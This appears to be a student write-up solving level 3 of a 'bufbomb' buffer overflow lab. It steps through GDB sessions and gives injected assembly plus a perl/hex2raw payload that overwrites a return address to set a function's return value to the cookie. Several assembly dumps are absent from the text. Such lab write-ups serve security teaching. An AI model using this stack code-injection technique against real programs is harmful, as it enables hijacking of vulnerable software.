Level 3. Ah_Choo!

Primary purpose:

At this level we’re not going to call any functions/ procedures after function ah_choo() was finished, yet we’re going to change the return value of function ah_choo() (which was worth 1) into our cookie, so that after procedure test() was finished in calling function ah_choo(), the contents of variable containing the return value of function ah_choo() will be replaced by our cookie.

Ok, for we’re not going to call any functions/ procedures, then our focus are only on function ah_choo() and procedure test(). Let’s see what procedure test() brings by typing this command on GDB.

gdb bufbomb
(gdb) disas test

Dump of assembler code for function test:

-Type < return > to continue, or q < return > to quit-

We can see that after calling function ah_shoo(), procedure test() will store the contents of register %eax into register %ebx.

Moreover, at row 0x08048dc4 <+9> we can see that the block of stack frame of procedure test() which is located at %esp+0x1c is filled with the contentss of register %eax before calling function ah_shoo().

Afterwards, after calling function ah_shoo(), register %edx is filled with the contents of block of stack frame of procedure test() which is located at %esp+0x1c. The contents of register %edx is then compared with the contents of register %eax.

Ok, let’s see the contents of register %eax before calling function ah_shoo() which is later will be stored into the block of stack with address %esp+0x1c. Use this command:

(gdb) q
gdb bufbomb
(gdb) b test
Breakpoint 1 at 0x8048dbb
(gdb) run -u eksperimen
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
Breakpoint 1, 0x08048dbb in test ()

Then wee see the contents of procedure test().

(gdb) disas

Dump of assembler code for function test:

-Type < return > to continue, or q < return > to quit-

Quit
(gdb) ni
0x08048dbc in test ()
(gdb) ni
0x08048dbf in test ()
(gdb) ni
0x08048dc4 in test ()

Then we also see the register’s info.

(gdb) i r

It can be seen that the contents of register %eax is 0x3995b132 before calling function ah_shoo(). Let’s see the contents of the stack at address %esp+0x1c.

(gdb) ni
(gdb) x/20x $esp

(gdb) x/ 0x55683698+0x1c
0x556836b4 < _reserved+1038004 >: 0x3995b132

It is true that the contents of stack at address 0x556836b4 already contains the contents of register %eax. Next, procedure test() calls function ah_shoo(). Type this command and in this case I gave an input ‘A’ as much as 5 times.

(gdb) ni
AAAAA
0x08048dcd in test ()

(gdb) disas ah_choo

Dump of assembler code for function ah_choo:

End of assembler dump.

From function ah_choo(), it can be seen that register %eax will be storing the return value of function ah_choo() (which is initially worth 1). It means that our remaining task is to change the contents of register %eax into our cookie.

Let’s see the contents of function ah_shoo() so that we know whether there’s any changes in register %eax or not.

(gdb) disas ah_shoo

Dump of assembler code for function ah_shoo:

End of assembler dump.

It can be seen that there’s no any changes in register %eax so that we can confirmed that the return value of function ah_choo() is always located on register %eax after function ah_choo() was finished. Also note that the return address of function ah_choo() is 0x08048d0c.

Let’s get started!

As we’ll change the contents of register %eax, then we’ll do the similar way as the previous level which means we’ll do it through code injection. In our code injection there must be a command to change the contents of register %eax into our cookie. Afterwards we must insert the return address of function ah_choo() as we’ll return to procedure test() after this function was finished. Then the last instruction is just a return.

Here’s the code:

movl $0x1d9ed824, %eax
pushl $0x08048d0c
ret

The first row changes the contents of register %eax into our cookie.

The second row inserts the return address of function ah_choo() into the stack, then returned at the last row.

Open your terminal (not on GDB) and type this compilation command. (file name: assemblylvl3.s).

gcc -m32 -c assemblylvl3.s
objdump -d assemblylvl3.o > assemblylvl3.d
cat assemblylvl3.d

Will give this result:

Then the next step is creating a string input which is formed by 52 different characters, the return address changed into the starting address of our code injection, and the hexa code of our code injection. To do that, use this command (not on GDB):

• perl -e ‘print “61 “x32, “62 “x20, “88 36 68 55 “, “b8 24 d8 9e 1d 68 0c 8d 04 08 c3”’ > hex0
  
• ./hex2raw < hex0 > raw0
  

The value 88 36 68 55 is the starting address of our code injection. It can be checked the same way as we did on level 2.

Then, use this command:

gdb bufbomb
(gdb) b test
Breakpoint 1 at 0x8048dbb
(gdb) run -u eksperimen < raw0
Userid: eksperimen
Cookie: 0x1d9ed824
Masukkan input:
Breakpoint 1, 0x08048dbb in test ()

And let’s see the contents of procedure test().

(gdb) disas

Dump of assembler code for function test:

-Type < return > to continue, or q < return > to quit-

And continue with this command.

Quit
(gdb) ni
0x08048dbc in test ()
(gdb) ni
0x08048dbf in test ()
(gdb) ni
0x08048dc4 in test ()
(gdb) ni
0x08048dc8 in test ()
(gdb) ni
0x08048dcd in test ()
(gdb) ni
0x08048dcf in test ()

After 6 instructions (ni), let’s see the contents of registers.

(gdb) i r

After 6 instructions was executed, then we were out of function ah_shoo() and it turned out that register %ebx had the same value as our cookie!

Let’s continue by looking at the comparison between register %edx and %eax. Use this command:

(gdb) ni
0x08048dd4 in test ()
(gdb) ni
0x08048dd8 in test ()
(gdb) ni
0x08048dda in test ()
(gdb) i r

Great! We can see that the contentss of register %edx is the same with the contents of register %eax. This means we can move on to the next Assembly instruction on procedur test().

As register %ebx had the same value as our cookie, this means we can confirmed that the comparison process between register %ebx and the contentss of address 0x804d10c is absolutely on the right track. We can proceed to the final step!

Just use this command:

(gdb) c
Continuing.
OK: ah_choo 0x1d9ed824
VALID
Selamat!
[Inferior 1 (process 5043) exited normally]

Finally!!!